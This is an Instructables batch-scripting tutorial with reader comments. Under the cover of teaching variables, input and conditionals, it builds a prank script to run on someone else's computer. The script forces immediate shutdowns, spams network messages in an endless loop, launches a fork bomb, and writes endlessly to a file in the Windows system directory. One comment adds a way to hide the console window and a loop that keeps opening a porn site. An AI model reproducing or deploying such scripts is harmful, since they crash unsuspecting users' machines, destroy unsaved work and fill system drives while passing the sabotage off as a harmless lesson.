Batch Tutorial - Take 2

Intro: Batch Tutorial - Take 2

Okay as i said in my previous tutorial on batch (https://www.instructables.com/id/EZ049TMM19EWPKGWKH/#CEINEJV64U3EWP86YUP), i plan to create an expansive 3 part (or take) tutorial on batch. Which should cover most of what you need to know to do what you want with batch.



The file attached below is the competed .bat (batch) file made by me, laconix / inevitable_chaos

Step 1: Formatting My Text, Titles, and Cls

Okay to start off with i'll show you the code;
@echo offtitle Choices..                                                                                                                   [by laconix]clsecho You have some choices to make..echo  ..make the wrong choice though and suffer the consequencs!echo.pause:menuclsecho.echo.echo.echo.echo.  echo                       /------------------------------\echo                      / Pick a number between 1 and 3  \echo                     (-   1 .. 2 .. 3                  -)echo                      \  Every choice but one is bad!  /echo                       \------------------------------/

title basically set the title for the command prompt so title instructables.com is cool!
cls just clears the cmd of any input or output
You should know what echo does by now, but echo. creates a newline which is usefull for formatting.
:menu although i've covered this in my previous tutorial it's worth going over again, essentially it creates a point in a program in which you can GOTO at anytime.
The rest of this section is just formatting. :D

Step 2: Initializing Variables, Getting User Input and the If Statement

Again i will show you the code then explain it;
set choice = nadaecho                             ?.:What&aposll it be:.?set /p choice=                                   Huh? clsif %choice% == 1 GOTO oneif %choice% == 2 GOTO twoif %choice% == 3 GOTO threemsg * Neither 1, 2 or 3 eh? Too bad, bye bye..shutdown -s -f -t 00

set choice = nada, what this is doing is creating or initializing the variable with the initial value or "nada", or nothing. :D A variable is like a container which stores information for you until it's no longer needed or the program closes.

set /p chose=, this is getting the user input, by using the set command with the argument /p which tell the command to have a promptstring. So basically set /p choice=what number? is like asking a question and them typing the answer.

if the if statement works as such. if condition == true dothis
So basically it's saying if %choice% is equal to 1 GOTO one is that is not true it just goes onto the next line.

shutdown -s -f -t 00 just shutsdown their computer forcing all programs to close, instantly.

Step 3: Piping Command, Asynchronous Commands and Environmental Variables

Again, code first, explanation after;
:onemsg * So you chose #1, thought you&aposd be safe?msg * WRONG!:netspamnet send * laconix rules! GOTO netspam:twoshutdown -s -t 10pausemsg * Hope you get this in time, because this was the safe one...shutdown -aGOTO hell:threemsg * This is the safe number...pause:forkstart choices.bat | msg * Memory wipeout!GOTO fork:hellmsg * joke, they&aposre all bad!:textbombecho laconix rules! >> %systemroot%/laconix.txtGOTO :textbomb

:one
Basically just goes into an infinite GOTO loop. Very similar to the the fork bomb example 2 in the first tutorial.

:two
Execute the command shutdown -s -t 10" the pauses, if they don't press a key in time their computer shutsdown, if they make it it aborts and makes them GOTO hell

:hell
Tells them that none of them were good, does what i call a text bomb. Which pipes (>>) the command echo laconix rules!' to the %systemroot%/laconix.txt in a\n infinite GOTO loop.
%systemroot% is an environmental variable which tell the file to save in the /windows/ directory no matter the name of the root drive, ie. C;/, E:/, Z:/, et cetera

:three
Tricks them into thinking its the safe number
Goes into a fork bomb similar to that in the first tutorial, but with one main difference. Asynchronous commands; start choices.bat | msg * Memory wipeout! the | denotes asynchronous commands, which basically means they've execute at the same time.

Step 4: What Up? Word!

Thanks for reading my tutorial, hope you like the video. Learnt something.
And I hope you continue interest in computers, and in my instructables.

Keep a heads up for my last tutorial in this series soon!

Share

    Recommendations

    • Halloween Contest 2018

      Halloween Contest 2018
    • Tiny Home Contest

      Tiny Home Contest
    • Audio Contest 2018

      Audio Contest 2018

    38 Discussions

    0
    None
    tinkerC

    9 years ago on Introduction

    Could you explain the result of msg * rather than echo ?

    0
    None
    inevitable_chaos

    11 years ago

    @Jezza Bear; I also wrote it up, their are other steps then the first one. :( @westfw; basically i was just trying to teach this to people in a way that would be fun for them, ie not bire them to death. @zus; they were birds!

    1 reply
    0
    None
    knoxarama

    9 years ago on Step 2

    ur a terrible person i like that

    0
    None
    roger3245

    9 years ago on Introduction

    EVIIIL!! And I love it :D Got me with the shutdown, but the forkbomb windows stopped the shutdown for like 5 mins lol Nice Job!

    0
    None
    Mavc0rz

    9 years ago on Step 4

    Hey nice man! Rly good tutorial, but your screen is a bit small :P but very good! greetings, Mav0crz

    0
    None
    Access_

    11 years ago on Step 3

    I like what your teaching. Id like to learn how to make a loop. and also make multi msg boxs poping up all over the screen and not just in one place. Also is there away to make the black cmd go away so it dont show when your making a .bat file ? cause people can just exit that and then prog is pointless

    4 replies
    0
    None
    mutantAccess_

    Reply 10 years ago on Introduction

    Use a downloadable DOS command called RunH. This makes it run with out showing the CMD window. Also for a loop use this: :start commandtoexecute start nameofbatchfile goto start This will open that command over and over. This is really fun with this command: start iexplore.exe www.porn.com LOL.

    0
    None
    thefirstgarugamutant

    Reply 10 years ago on Introduction

    how come you can't start internet explorer through DOS? and what do you mean by command to execute? is iexplorer another way of saying internet explorer? internet explorers an executable file?

    0
    None
    elmynase

    10 years ago on Step 3

    how do you type this "letter": " | " because I can't find it on my keybord unless I copy it!! thx

    3 replies
    0
    None
    Neodudemanelmynase

    Reply 10 years ago on Introduction

    It's right on top of the \ key, usually near the Enter key. Just hold Shift and press \.

    0
    None
    elmynaseNeodudeman

    Reply 10 years ago on Introduction

    I have a french key board but thanks any way. and acctually since the last comment I found how to type this letter. you need to hold on " alt " + type "124" and then you will have " | " :)

    0
    None

    since you have to type this "|" and you have to type it into comand prompt wrong, you dont have to type it all out in command prompt use notepad

    0
    None
    elmynase

    10 years ago on Step 4

    yeah ist very instructive althought the screen is kind of small

    0
    None
    Padlock

    10 years ago on Introduction

    @echo off echo press any key to shut down. pause echo to abort press any key. shutdown -s -t 10 pause Echo aborted. shutdown -a I came up with this... it wont work though?

    0
    None

    my batch tutorial is much better than this crap! first of all, most comps now adays don't allow the if command for security reasons. and second that's a very crappy prank. you're nothing but a script kiddie and i spit on you

    1 reply

    I'm sorry, but you're hardly a person who can judge a "script kiddie" if you call yourself a hacker and yet don't know that Internet Explorer is an executable file...